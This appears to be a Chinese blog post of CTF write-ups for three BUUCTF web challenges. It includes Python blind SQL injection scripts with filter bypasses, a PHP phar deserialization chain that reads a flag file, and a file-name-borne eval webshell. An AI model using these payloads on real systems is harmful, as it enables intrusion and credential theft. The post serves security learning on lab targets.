[NCTF2019]SQLi
访问robots.txt
发现hint
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i" ;
If $_POST [ 'passwd' ] === admin's password,
Then you will get the flag;
发现过滤了 太多东西 单引号都给过滤了 ,
不过这里可以用\来闭合’看了看php版本[外链图片
可以用%00截断,那末思路就有了
先尝试一波正确回显
看到回显welcome,那末可以利用这个来判断 bool类型
regexp 字符串匹配支持正则
脚本为主要语句为
data = {
'username' : '\\' ,
'passwd' : "||/**/passwd/**/regexp/**/\"^{}\";{}" . format ( ( password+ j) , parse. unquote ( '%00' ) )
}
脚本为
import requests
import string
from urllib import parse
string= string. ascii_lowercase + string. digits + '_'
url= 'http://0c034adc-a4d9-4fe6-98f2-5ca68f2effe9.node4.buuoj.cn:81/index.php'
password= ''
for i in range ( 50 ) :
for j in string:
data = {
'username' : '\\' ,
'passwd' : "||/**/passwd/**/regexp/**/\"^{}\";{}" . format ( ( password+ j) , parse. unquote( '%00' ) )
}
res= requests. post( url= url, data= data)
if ( 'welcome' in res. text) :
password+= j
print ( password)
break
然后 提交密码 得到flag
看了看大佬wp 发现如果这里""被过滤的情况下可以用 16进制来绕过
[CISCN2019 华北赛区 Day1 Web1]Dropbox
首先随便注册一个号进去
上传一个文件后 发现有下载功能 ->任意文件下载
bp抓一下包
发现有戏
尝试一下 index.php显示文件不存在 那末路径换一下试试 最终…/…/index.php 文件存在
index.php
include "class.php" ;
$a = new FileList ( $_SESSION [ 'sandbox' ] ) ;
$a -> Name ( ) ;
$a -> Size ( ) ;
? >
class.php
error_reporting ( 0 ) ;
$dbaddr = "127.0.0.1" ;
$dbuser = "root" ;
$dbpass = "root" ;
$dbname = "dropbox" ;
$db = new mysqli ( $dbaddr , $dbuser , $dbpass , $dbname ) ;
class User {
public $db ;
public function __construct ( ) {
global $db ;
$this -> db = $db ;
}
public function user_exist ( $username ) {
$stmt = $this -> db -> prepare ( "SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ) ;
$stmt -> bind_param ( "s" , $username ) ;
$stmt -> execute ( ) ;
$stmt -> store_result ( ) ;
$count = $stmt -> num_rows ;
if ( $count === 0 ) {
return false ;
}
return true ;
}
public function add_user ( $username , $password ) {
if ( $this -> user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this -> db -> prepare ( "INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ) ;
$stmt -> bind_param ( "ss" , $username , $password ) ;
$stmt -> execute ( ) ;
return true ;
}
public function verify_user ( $username , $password ) {
if ( ! $this -> user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this -> db -> prepare ( "SELECT `password` FROM `users` WHERE `username` = ?;" ) ;
$stmt -> bind_param ( "s" , $username ) ;
$stmt -> execute ( ) ;
$stmt -> bind_result ( $expect ) ;
$stmt -> fetch ( ) ;
if ( isset ( $expect ) && $expect === $password ) {
return true ;
}
return false ;
}
public function __destruct ( ) {
$this -> db -> close ( ) ;
}
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( $path ) {
$this -> files = array ( ) ;
$this -> results = array ( ) ;
$this -> funcs = array ( ) ;
$filenames = scandir ( $path ) ;
$key = array_search ( "." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
$key = array_search ( ".." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
foreach ( $filenames as $filename ) {
$file = new File ( ) ;
$file -> open ( $path . $filename ) ;
array_push ( $this -> files , $file ) ;
$this -> results [ $file -> name ( ) ] = array ( ) ;
}
}
public function __call ( $func , $args ) {
array_push ( $this -> funcs , $func ) ;
foreach ( $this -> files as $file ) {
$this -> results [ $file -> name ( ) ] [ $func ] = $file -> $func ( ) ;
}
}
public function __destruct ( ) {
$table = '';
$table .= '';
foreach ( $this -> funcs as $func ) {
$table .= ' ' . htmlentities ( $func ) . ' ';
}
$table .= ' Opt ';
$table .= ' ';
foreach ( $this -> results as $filename => $result ) {
$table .= '';
foreach ( $result as $func => $value ) {
$table .= ' ' . htmlentities ( $value ) . ' ';
}
$table .= ' . htmlentities ( $filename ) . '">下载 / åˆ é™¤ ';
$table .= ' ' ;
}
echo $table ;
}
}
class File {
public $filename ;
public function open ( $filename ) {
$this -> filename = $filename ;
if ( file_exists ( $filename ) && ! is_dir ( $filename ) ) {
return true ;
} else {
return false ;
}
}
public function name ( ) {
return basename ( $this -> filename ) ;
}
public function size ( ) {
$size = filesize ( $this -> filename ) ;
$units = array ( ' B' , ' KB' , ' MB' , ' GB' , ' TB' ) ;
for ( $i = 0 ; $size >= 1024 && $i < 4 ; $i ++ ) $size /= 1024 ;
return round ( $size , 2 ) . $units [ $i ] ;
}
public function detele ( ) {
unlink ( $this -> filename ) ;
}
public function close ( ) {
return file_get_contents ( $this -> filename ) ;
}
}
? >
delete.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string ) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file -> open ( $filename ) ) {
$file -> detele ( ) ;
Header ( "Content-type: application/json" ) ;
$response = array ( "success" => true , "error" => "" ) ;
echo json_encode ( $response ) ;
} else {
Header ( "Content-type: application/json" ) ;
$response = array ( "success" => false , "error" => "File not exist" ) ;
echo json_encode ( $response ) ;
}
? >
找到
public function close() {
return file_get_contents($this->filename);
}
可以控制 那末尝试构造调用此方法
$a= new User();
$a->db= new File();
$a->db->filename= '/flag.txt'
可是这样构造没有回显 ,那采取间接方法.
那么我们就让$this->db = new FileList(),让它去调用close,然后调用__call(),然后调用
__call()方法在调用 _destruct函数,打印结果
构造如下
class User {
public $db ;
}
class FileList
{
private $files ;
private $results ;
private $funcs ;
public function __construct ( )
{
$this -> files = array ( new File ( ) ) ;
$this -> results = array ( ) ;
$this -> funcs = array ( ) ;
}
}
class File
{
public $filename = '/flag.txt' ;
}
$a = new User ( ) ;
$a -> db = new FileList ( ) ;
$phar = new Phar ( "myphar.phar" ) ;
$phar -> startBuffering ( ) ;
$phar -> setStub ( "" ) ;
$phar -> setMetadata ( $a ) ;
$phar -> addFromString ( "exp.txt" , "test" ) ;
$phar -> stopBuffering ( ) ;
[CISCN2019 总决赛 Day2 Web1]Easyweb
老套路 查看源代码 ,和访问robots.txt
源代码 发现类似注入点的地方
User-agent: *
Disallow: *.php.bak
看师傅的wp 是访问
image.php.bak
得到源码
include "config.php" ;
$id = isset ( $_GET [ "id" ] ) ? $_GET [ "id" ] : "1" ;
$path = isset ( $_GET [ "path" ] ) ? $_GET [ "path" ] : "" ;
$id = addslashes ( $id ) ;
$path = addslashes ( $path ) ;
$id = str_replace ( array ( "\\0" , "%00" , "\\'" , "'" ) , "" , $id ) ;
$path = str_replace ( array ( "\\0" , "%00" , "\\'" , "'" ) , "" , $path ) ;
$result = mysqli_query ( $con , "select * from images where id='{
$id } ' or path='{
$path } '" ) ;
$row = mysqli_fetch_array ( $result , MYSQLI_ASSOC ) ;
$path = "./" . $row [ "path" ] ;
header ( "Content-Type: image/jpeg" ) ;
readfile ( $path ) ;
那就尝试一下注入
输入\0 时会被addslashes()函数转成 \ \0 进而将\0过滤留下 \从而可以转移’ 达到绕过目的
可以利用
# payload= 'or ord(substr(database(),{0},1))>1%23'.format(1)
# print(url+payload)
# print(requests.get(url+payload).text)
得出回显的内容有JFIF
尝试爆出数据库
import requests
url = 'http://d80bf902-c46b-46a9-82d1-c6da6e8bfb01.node4.buuoj.cn:81/image.php?id=\\0&path='
result = ''
i = 0
while True :
i = i + 1
head = 32
tail = 127
while head < tail:
mid = ( head + tail) >> 1
payload = f'or ascii(substr(database()/**/from/**/ {
i} /**/for/**/1))> {
mid} %23'
r = requests. get( url + payload)
if "JFIF" in r. text:
head = mid + 1
else :
tail = mid
if head != 32 :
result += chr ( head)
else :
break
print ( result)
数据库为
ciscnfinal
爆出表名
payload = f'or ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database()))/**/from/**/ {
i} /**/for/**/1))> {
mid} %23'
得到表名
那么直接爆出 password
payload = f'or ascii(substr((select/**/(password)from(users))/**/from/**/{i}/**/for/**/1))>{mid}%23'
得到密码
一个文件上传,那就传呗
随便传个访问为
发现文件名 在日志中
那么这里不能传 php 应该时过滤了php 那末利用短标签绕过
文件名
= @eval($_POST['shell']);?>
利用蚁剑连接 得到flag
你可能感兴趣的:(web,php)
ssm毕业设计基于SSM框架的中医养生系统设计与实现[文档+开题+PPT
IT实战课堂
课程设计
选题推荐——以防找不到我们,点击上方订阅专栏✌✌\Java毕设实战项目Python毕设项目源代码asp.net毕业设计项目Uniapp安卓毕业设计项目node.js毕业设计项目python毕业设计微信小程序毕业设计项目php毕业设计文末获取源码联系一、项目介绍1.1研究背景现在大家正处于互联网加的时代,这个时代它就是一个信息内容无比丰富,信息处理与管理变得越加高效的网络化的时代,这个时代让大家的生
编译安装php7.2
raoxiaoya
PHP php 服务器 开发语言
编译安装php7.2centos-7.064groupaddwwwuseradd-gwwwwww1、先安装如下依赖包yuminstall-ygccgcc-c++makezlibzlib-develpcrepcre-devellibjpeglibjpeg-devellibpnglibpng-develfreetypefreetype-devellibxml2libxml2-develglibcgli
centos 编译安装php 7.0
$Elvin
php centos
第一步:安装依赖yuminstall-ygccgcc-c++makecmakebisonautoconfwgetlrzszyuminstall-ylibtoollibtool-ltdl-develyuminstall-yfreetype-devellibjpeg.x86_64libjpeg-devellibpng-develgd-develyuminstall-ypython-develpatch
一台服务器最多可以允许多少人同时访问?IIS连接数如何计算?
网硕互联的小客服
服务器 运维 windows linux
一台服务器能够同时允许多少人访问,取决于多个硬件和软件配置因素,包括服务器的CPU、内存、网络带宽、磁盘I/O性能,以及使用的Web服务器软件(如IIS、Apache等)和应用架构。特别是对于使用IIS(InternetInformationServices)的服务器,最大连接数通常受Windows操作系统的版本、IIS配置和硬件资源等因素的限制。1.服务器允许的最大连接数的影响因素1.1服务器硬
抛弃手册,开启TongWeb+TongLINK/Q的开发方式
萝卜白菜。
web java jms
问题:当使用TongWeb+TongLINK/Q产品,想用JMS开发消息服务时,不知如何使用?1.当你看TongLINK/Q手册《JMS编程参考》时,在给你讲TongWeb5.0+TongLINK/Q8.1的消息驱动bean(Message-DrivenBean,MDB)配置。2.当你去看TongWeb7的《用户手册》时,在给你讲TongWeb7.0+TongLINK/Q8.1的消息驱动bean(
java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署
花样1999
mysql 数据库 java
java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署java计算机毕业设计web实验室课表管理系统源码+mysql数据库+系统+lw文档+部署本源码技术栈:项目架构:B/S架构开发语言:Java语言开发软件:ideaeclipse前端技术:Layui、HTML、CSS、JS、JQuery等技术后端技术:JAVA运行环境:Win10、JDK1.8数据库:MySQ
Selenium自动化测试入门:浏览器多窗口切换
测试杂货铺
selenium 测试工具 软件测试 自动化测试 python 职场和发展 测试用例
点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快有时web应用会打开多个浏览器窗口,当我们要定位新窗口中的元素时,我们需要将webDriver的handle(句柄)指定到新窗口。什么意思?假设我们打开web应用,在系统运行过程中重新打开一个新窗口(可以是页签,当前浏览器存在两个窗口),这时我们webDriver对浏览器的操作指针(句柄)还再原窗口,如果需要操作新窗口元素就要将handl
NoSQL调研与学习(一)
JUNPR
NoSQL redis nosql 数据库
NoSQL数据库调研与学习简言1.1NoSQL概述NoSQL,泛指非关系型的数据库。随着互联网web2.0网站的兴起,传统的关系数据库在处理web2.0网站,特别是超大规模和高并发的SNS类型的web2.0纯动态网站已经显得力不从心,出现了很多难以克服的问题,而非关系型的数据库则由于其本身的特点得到了非常迅速的发展。NoSQL数据库的产生就是为了解决大规模数据集合多重数据种类带来的挑战,特别是大数
Spring Boot集成Spring MVC:快速搭建Web应用
软件职业规划
spring spring spring boot mvc
在SpringBoot项目中集成SpringMVC是一个非常常见的需求。SpringBoot已经内置了对SpringMVC的支持,因此集成过程相对简单。1.创建SpringBoot项目你可以通过以下方式创建一个SpringBoot项目:使用SpringInitializr(start.spring.io)在线生成项目。使用IDE(如IntelliJIDEA或Eclipse)的SpringBoot插
2025全新一代PHP游戏代练系统源码发布|好用的代练订单管理系统
vue.jsphpmysql
在这里不仅可以找代练,还能成为打手当代练,同时软件中拥有一流的大神、专业的客服团队、高效的代练模式,致力为用户提供优质、高效、快捷、安全的代练服务,并且软件不仅能为您量身打造定制代练需求,还会为您包胜率解决源码获取地址!!!!!源码传送门!!!!此类系统允许用户注册账号、下单委托游戏任务、查看代练进度以及完成任务后的评价等。该系统兼容手机端,提供了良好的用户体验。PHP网站开发基础:PHP是一种广
HTML CSS整理笔记(建议收藏)
程序员的生活1
js web前端 html+css css javascript html css3
点击链接后退页面:回到上一个网页——修改placeholder提示的样式:打造全网web前端全栈资料库(总目录)看完学的更快,掌握的更加牢固,你值得拥有(持续更新)1.除IE外通用写法类名或标签名::placeholder{color:red;}2.加兼容前缀写法css超出一行显示省略号:给定宽度(width:100px)、超出隐藏(overflow:hidden)、强制在同一行显示(white-
Jupyter notebook和 Jupyter lab内核死亡问题的原因和解决方案
Y1nhl
软件安装 算法竞赛 数据处理 jupyter ide python pandas 数据挖掘 机器学习
写在前面:之前也遇到过几次内核死亡的问题,也一直没有想解决办法。这里总结一下并提出几个解决办法。首先明确一下jupyter出现内核死亡的原因:jupyterlab或者jupyternotebook本身是一个web服务,无法支持高并发和频繁的计算任务,对于大规模运行或高并发是不够能力处理,所以机会内核死亡。所以如果平时也习惯用pycharm,移植代码到pycharm运行就没问题了。我是因为很少用py
weblogic修改管理节点密码
笑锝没心没肺
Weblogic 运维 java
weblogic安装后,很久不用,忘记访问控制台的用户名或者密码,可通过以下步骤来重置用户名密码。版本:WebLogicServer12c说明:%DOMAIN_HOME%:指WebLogicServer域(Domain)目录例如我的做测试的域的根目录DOMAIN_HOME=D:/bea10/user_projects/domains/testcluster_domain1.为了保证操作安全,备份%
PyWebIo 快速构建web应用
java全套学习资料
前端 html npm vue.js 前端
Part1什么是PyWebIoPyWebIO提供了一系列命令式的交互函数来在浏览器上获取用户输入和进行输出,将浏览器变成了一个“富文本终端”,可以用于构建简单的Web应用或基于浏览器的GUI应用。使用PyWebIO,开发者能像编写终端脚本一样(基于input和print进行交互)来编写应用,无需具备HTML和JS的相关知识;PyWebIO还可以方便地整合进现有的Web服务。非常适合快速构建对UI要
Rust 与 WebAssembly 结合的优势
exploration-earth
学习
性能卓越:Rust语言以其可预测的性能著称,能够避免垃圾收集(GC)引发的暂停问题,这些问题常被称作停止世界(STW)暂停或即时编译(JIT)性能瓶颈。代码精简:由Rust编译生成的.wasm文件体积小巧,这有助于提升网页的加载速度。这些文件不会包含如垃圾收集器等不必要的额外开销,同时,通过高级优化和摇树技术,可以有效剔除无用代码,进一步精简文件大小。无缝集成与互操作:Rust具备自动生成与Rus
PHP + XlsWriter实现百万级数据导入导出,如何实现
程序员阿凡提
PHP实战教程 php 开发语言
在PHP中使用XlsWriter(如xlswriter扩展)处理百万级数据的导入导出,需重点解决内存占用和性能问题。以下是分步骤的实现方案:一、环境准备1安装xlswriter扩展从PECL安装:peclinstallxlswriter在php.ini中启用扩展:extension=xlswriter.so2调整PHP配置处理大数据时需增加内存和执行时间限制:memory_limit=1024Mm
封装websocket,兼容uniapp及普通vue3应用
一个水货程序员
websocket uni-app 网络协议
本文将实现websocket的封装,采用typescript+vue3实现,同时支持uniapp中使用。主要实现两个部分:websocket.core.ts,一个封装的websocket对象,用于处理websocket断线重连及生命周期钩子触发useWebsocket.ts,采用vuehook封装上述对象,将实例属性转换为响应式属性以供页面组件内使用websocket.core.tstypeTim
VB.NET基于WEB房地产评估系统(源代码+文档)
csdn663648
.net 前端 microsoft
资料介绍:--------------摘要--------------房地产评估系统是典型的信息管理系统(MIS),其开发主要包括后台数据库的建立和维护以及前端应用程序的开发两个方面。对于前者要求建立起数据一致性和完整性强、数据安全性好的库。而对于后者则要求应用程序功能完备,易使用等特点。本系统特有的房屋基本情况、专业评估人员、估价方法等。经过分析,我们使用MICROSOFT公司的VISUALBA
腾讯云点播Web端上传视频+SDK使用
官方链接:Web端上传SDK腾讯云控制台客户端上传签名签名生成示例1、Web端嵌入云点播SDK//安装稳定版本npminstallvod-js-sdk-v6在对应的页面引入importTcVodfrom'vod-js-sdk-v6'入完成后,需要生成签名,签名需要通过SecretId、SecretKey来生成SecretId、SecretKey生成:腾讯云控制台进入云控制台后,点击新建密钥:获取到
SpringBoot系列——WebMvcConfigurer介绍
OkidoGreen
SpringBoot-原理
为什么要使用WebMvcConfigurer?WebMvcConfigurer是一个接口,提供很多自定义的拦截器,例如跨域设置、类型转化器等等。可以说此接口为开发者提前想到了很多拦截层面的需求,方便开发者自由选择使用。由于Spring5.0废弃了WebMvcConfigurerAdapter,所以WebMvcConfigurer继承了WebMvcConfigurerAdapter大部分内容。Web
Golang 框架介绍
wwwenhx
golang 开发语言 后端
以下是一篇可直接发布到CSDN的关于Golang主流框架的技术文章,包含框架对比、使用场景和代码示例:---#Golang主流框架全解析:从Web开发到微服务##引言Go语言凭借其高性能和简洁语法,已成为云原生时代的宠儿。本文将全面解析Go生态中的热门框架,涵盖Web开发、微服务、ORM等领域,助你根据业务需求选择最佳技术方案。---##一、Web开发框架###1.Gin(轻量之王)**特点**:
版本控制与Git实战指南:从入门到WebStorm集成
The god of big data
教程 大Big数据Data 建站 git webstorm elasticsearch
一、版本控制:数字时代的时光机器在软件开发的世界里,每一次代码修改都如同一次时间旅行。版本控制系统(VersionControlSystem)正是这个领域的时光机器,它不仅能完整记录项目的演化历史,更能让开发者自由穿梭于各个版本之间。Git作为分布式版本控制系统的代表,已成为全球开发者必备的核心工具。Git与传统版本控制系统(如SVN)的关键差异:分布式架构:每个开发者都拥有完整的仓库副本闪电级操
【Three.js】JS 3D library(一个月进化史)
Tiffany_Ho
前端 Three.js
#春节过完了,该继续投入学习了~作为一个平面开发者,想要增进更多的技能,掌握web3D开发#前置知识与技能1.JavaScript基础-掌握ES6+语法(类、模块、箭头函数、解构等)-熟悉异步编程(Promise、async/await)-了解事件循环和DOM操作2.HTML5和CSS3-熟悉Canvas和WebGL的基础概念-了解CSS3动画和变换(transform、transition)3.
Python如何播放本地音乐并在web页面播放
玩人工智能的辣条哥
开源项目AI Sphere Butler python 前端 开发语言
环境:Python问题描述:Python如何播放本地音乐并在web页面播放解决方案:要在Python中播放本地音乐并在Web页面中播放,您可以采用两种不同的方法:一种是在服务器端使用Python播放音频文件,另一种是创建一个Web应用程序,在客户端通过HTML5的标签来播放音频文件。下面我将分别介绍这两种方法。方法1:使用Python播放本地音乐如果您只是想在服务器端(例如在开发环境中)播放本地音
vue3 naive ui+java下载文件
weixin_42485982
java vue
java后端代码importorg.springframework.http.HttpHeaders;importorg.springframework.http.MediaType;importorg.springframework.http.ResponseEntity;importorg.springframework.web.bind.annotation.GetMapping;impor
python aiohttp简易使用教程
Amos_x
python python aiohttp 异步
0.前言本文翻译自aiohttp的官方文档,如有纰漏,欢迎指出。aiohttp分为服务器端和客户端,本文只介绍客户端。另外我已经对aiohttp和asyncio进行了封装,可以参考我的github地址:https://github.com/web-trump/ahttp由于上下文的缘故,请求代码必须在一个异步的函数中进行:asyncdeffn():pass1.aiohttp安装pip3instal
如何在Ubuntu中切换多个PHP版本
小小虫码
ubuntu php linux
在Ubuntu环境下实现PHP版本的灵活切换,是众多开发者与系统管理员的重要技能之一。下面,我们将深入探讨如何在Ubuntu系统中安装、配置及管理多个PHP版本,确保您的开发环境随心所欲地适应各类项目需求。开始前的准备确保您的Ubuntu系统保持最新状态,使用以下命令进行系统更新:sudoapt-getupdatesudoapt-getupgrade随后,安装必要的软件包,为后续的PHP版本管理
SpringBoot Spring MVC
深度视觉机器
SpringBoot spring boot
一、初始SpringMVC1.1什么是SpringMVC1、SpringMVC是Spring框架的一部分 SpringMVC是一种轻量级的、基于MVC的Web层应用框架。SpringMVC通过把模型-视图-控制器分离,将Web层进行职责解耦,把复杂的web应用分成逻辑清晰的几部分,简化开发,减少出错,方便组内开发人员之间的配合。
SpringBoot中实现WebMvcConfigurer,配置跨域无效
TNTnine
Spring spring boot java 后端
跨域配置如下:@ConfigurationpublicclassCorsConfigimplementsWebMvcConfigurer{/***跨域配置*-Access-Control-Allow-Origin的介绍:*-https://blog.csdn.net/MicroAnswer/article/details/102913571*-SpringMVC路径匹配规则:*-1、https:/
WebMvcConfigurer 介绍
boy快快长大
解决问题合集 java spring
WebMvcConfigurer介绍1.什么是WebMvcConfigurer介绍2.WebMvcConfigurer接口常用的方法3.使用WebMvcConfigurer实现跨域4.使用WebMvcConfigurer配置拦截器5.使用WebMvcConfigurer配置静态资源5.1配置外部目录(本地文件系统)详细解释6.使用WebMvcConfigurer配置视图解析6.1详细说明6.1.1
多线程编程之卫生间
周凡杨
java 并发 卫生间 线程 厕所
如大家所知,火车上车厢的卫生间很小,每次只能容纳一个人,一个车厢只有一个卫生间,这个卫生间会被多个人同时使用,在实际使用时,当一个人进入卫生间时则会把卫生间锁上,等出来时打开门,下一个人进去把门锁上,如果有一个人在卫生间内部则别人的人发现门是锁的则只能在外面等待。问题分析:首先问题中有两个实体,一个是人,一个是厕所,所以设计程序时就可以设计两个类。人是多数的,厕所只有一个(暂且模拟的是一个车厢)。
How to Install GUI to Centos Minimal
sunjing
linux Install Desktop GUI
http://www.namhuy.net/475/how-to-install-gui-to-centos-minimal.html
I have centos 6.3 minimal running as web server. I’m looking to install gui to my server to vnc to my server. You can insta
Shell 函数
daizj
shell 函数
Shell 函数
linux shell 可以用户定义函数,然后在shell脚本中可以随便调用。
shell中函数的定义格式如下:
[function] funname [()]{
action;
[return int;]
}
说明:
1、可以带function fun() 定义,也可以直接fun() 定义,不带任何参数。
2、参数返回
Linux服务器新手操作之一
周凡杨
Linux 简单 操作
1.whoami
当一个用户登录Linux系统之后,也许他想知道自己是发哪个用户登录的。
此时可以使用whoami命令。
[ecuser@HA5-DZ05 ~]$ whoami
e
浅谈Socket通信(一)
朱辉辉33
socket
在java中ServerSocket用于服务器端,用来监听端口。通过服务器监听,客户端发送请求,双方建立链接后才能通信。当服务器和客户端建立链接后,两边都会产生一个Socket实例,我们可以通过操作Socket来建立通信。
首先我建立一个ServerSocket对象。当然要导入java.net.ServerSocket包
ServerSock
关于框架的简单认识
西蜀石兰
框架
入职两个月多,依然是一个不会写代码的小白,每天的工作就是看代码,写wiki。
前端接触CSS、HTML、JS等语言,一直在用的CS模型,自然免不了数据库的链接及使用,真心涉及框架,项目中用到的BootStrap算一个吧,哦,JQuery只能算半个框架吧,我更觉得它是另外一种语言。
后台一直是纯Java代码,涉及的框架是Quzrtz和log4j。
都说学前端的要知道三大框架,目前node.
You have an error in your SQL syntax; check the manual that corresponds to your
林鹤霄
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'option,changed_ids ) values('0ac91f167f754c8cbac00e9e3dc372
MySQL5.6的my.ini配置
aigo
mysql
注意:以下配置的服务器硬件是:8核16G内存
[client]
port=3306
[mysql]
default-character-set=utf8
[mysqld]
port=3306
basedir=D:/mysql-5.6.21-win
mysql 全文模糊查找 便捷解决方案
alxw4616
mysql
mysql 全文模糊查找 便捷解决方案
2013/6/14 by 半仙
[email protected]
目的: 项目需求实现模糊查找.
原则: 查询不能超过 1秒.
问题: 目标表中有超过1千万条记录. 使用like '%str%' 进行模糊查询无法达到性能需求.
解决方案: 使用mysql全文索引.
1.全文索引 : MySQL支持全文索引和搜索功能。MySQL中的全文索
自定义数据结构 链表(单项 ,双向,环形)
百合不是茶
单项链表 双向链表
链表与动态数组的实现方式差不多, 数组适合快速删除某个元素 链表则可以快速的保存数组并且可以是不连续的
单项链表;数据从第一个指向最后一个
实现代码:
//定义动态链表
clas
threadLocal实例
bijian1013
java thread java多线程 threadLocal
实例1:
package com.bijian.thread;
public class MyThread extends Thread {
private static ThreadLocal tl = new ThreadLocal() {
protected synchronized Object initialValue() {
return new Inte
activemq安全设置—设置admin的用户名和密码
bijian1013
java activemq
ActiveMQ使用的是jetty服务器, 打开conf/jetty.xml文件,找到
<bean id="adminSecurityConstraint" class="org.eclipse.jetty.util.security.Constraint">
<p
【Java范型一】Java范型详解之范型集合和自定义范型类
bit1129
java
本文详细介绍Java的范型,写一篇关于范型的博客原因有两个,前几天要写个范型方法(返回值根据传入的类型而定),竟然想了半天,最后还是从网上找了个范型方法的写法;再者,前一段时间在看Gson, Gson这个JSON包的精华就在于对范型的优雅简单的处理,看它的源代码就比较迷糊,只其然不知其所以然。所以,还是花点时间系统的整理总结下范型吧。
范型内容
范型集合类
范型类
【HBase十二】HFile存储的是一个列族的数据
bit1129
hbase
在HBase中,每个HFile存储的是一个表中一个列族的数据,也就是说,当一个表中有多个列簇时,针对每个列簇插入数据,最后产生的数据是多个HFile,每个对应一个列族,通过如下操作验证
1. 建立一个有两个列族的表
create 'members','colfam1','colfam2'
2. 在members表中的colfam1中插入50*5
Nginx 官方一个配置实例
ronin47
nginx 配置实例
user www www;
worker_processes 5;
error_log logs/error.log;
pid logs/nginx.pid;
worker_rlimit_nofile 8192;
events {
worker_connections 4096;}
http {
include conf/mim
java-15.输入一颗二元查找树,将该树转换为它的镜像, 即在转换后的二元查找树中,左子树的结点都大于右子树的结点。 用递归和循环
bylijinnan
java
//use recursion
public static void mirrorHelp1(Node node){
if(node==null)return;
swapChild(node);
mirrorHelp1(node.getLeft());
mirrorHelp1(node.getRight());
}
//use no recursion bu
返回null还是empty
bylijinnan
java apache spring 编程
第一个问题,函数是应当返回null还是长度为0的数组(或集合)?
第二个问题,函数输入参数不当时,是异常还是返回null?
先看第一个问题
有两个约定我觉得应当遵守:
1.返回零长度的数组或集合而不是null(详见《Effective Java》)
理由就是,如果返回empty,就可以少了很多not-null判断:
List<Person> list
[科技与项目]工作流厂商的战略机遇期
comsci
工作流
在新的战略平衡形成之前,这里有一个短暂的战略机遇期,只有大概最短6年,最长14年的时间,这段时间就好像我们森林里面的小动物,在秋天中,必须抓紧一切时间存储坚果一样,否则无法熬过漫长的冬季。。。。
在微软,甲骨文,谷歌,IBM,SONY
过度设计-举例
cuityang
过度设计
过度设计,需要更多设计时间和测试成本,如无必要,还是尽量简洁一些好。
未来的事情,比如 访问量,比如数据库的容量,比如是否需要改成分布式 都是无法预料的
再举一个例子,对闰年的判断逻辑:
1、 if($Year%4==0) return True; else return Fasle;
2、if ( ($Year%4==0 &am
java进阶,《Java性能优化权威指南》试读
darkblue086
java性能优化
记得当年随意读了微软出版社的.NET 2.0应用程序调试,才发现调试器如此强大,应用程序开发调试其实真的简单了很多,不仅仅是因为里面介绍了很多调试器工具的使用,更是因为里面寻找问题并重现问题的思想让我震撼,时隔多年,Java已经如日中天,成为许多大型企业应用的首选,而今天,这本《Java性能优化权威指南》让我再次找到了这种感觉,从不经意的开发过程让我刮目相看,原来性能调优不是简单地看看热点在哪里,
网络学习笔记初识OSI七层模型与TCP协议
dcj3sjt126com
学习笔记
协议:在计算机网络中通信各方面所达成的、共同遵守和执行的一系列约定 计算机网络的体系结构:计算机网络的层次结构和各层协议的集合。 两类服务: 面向连接的服务通信双方在通信之前先建立某种状态,并在通信过程中维持这种状态的变化,同时为服务对象预先分配一定的资源。这种服务叫做面向连接的服务。 面向无连接的服务通信双方在通信前后不建立和维持状态,不为服务对象
mac中用命令行运行mysql
dcj3sjt126com
mysql linux mac
参考这篇博客:http://www.cnblogs.com/macro-cheng/archive/2011/10/25/mysql-001.html 感觉workbench不好用(有点先入为主了)。
1,安装mysql
在mysql的官方网站下载 mysql 5.5.23 http://www.mysql.com/downloads/mysql/,根据我的机器的配置情况选择了64
MongDB查询(1)——基本查询[五]
eksliang
mongodb mongodb 查询 mongodb find
MongDB查询
转载请出自出处:http://eksliang.iteye.com/blog/2174452 一、find简介
MongoDB中使用find来进行查询。
API:如下
function ( query , fields , limit , skip, batchSize, options ){.....}
参数含义:
query:查询参数
fie
base64,加密解密 经融加密,对接
y806839048
经融加密 对接
String data0 = new String(Base64.encode(bo.getPaymentResult().getBytes(("GBK"))));
String data1 = new String(Base64.decode(data0.toCharArray()),"GBK");
// 注意编码格式,注意用于加密,解密的要是同
JavaWeb之JSP概述
ihuning
javaweb
什么是JSP?为什么使用JSP?
JSP表示Java Server Page,即嵌有Java代码的HTML页面。使用JSP是因为在HTML中嵌入Java代码比在Java代码中拼接字符串更容易、更方便和更高效。
JSP起源
在很多动态网页中,绝大部分内容都是固定不变的,只有局部内容需要动态产生和改变。
如果使用Servl
apple watch 指南
啸笑天
apple
1. 文档
WatchKit Programming Guide(中译在线版 By @CocoaChina) 译文 译者 原文 概览 - 开始为 Apple Watch 进行开发 @星夜暮晨 Overview - Developing for Apple Watch 概览 - 配置 Xcode 项目 - Overview - Configuring Yo
java经典的基础题目
macroli
java 编程
1.列举出 10个JAVA语言的优势 a:免费,开源,跨平台(平台独立性),简单易用,功能完善,面向对象,健壮性,多线程,结构中立,企业应用的成熟平台, 无线应用 2.列举出JAVA中10个面向对象编程的术语 a:包,类,接口,对象,属性,方法,构造器,继承,封装,多态,抽象,范型 3.列举出JAVA中6个比较常用的包 Java.lang;java.util;java.io;java.sql;ja
你所不知道神奇的js replace正则表达式
qiaolevip
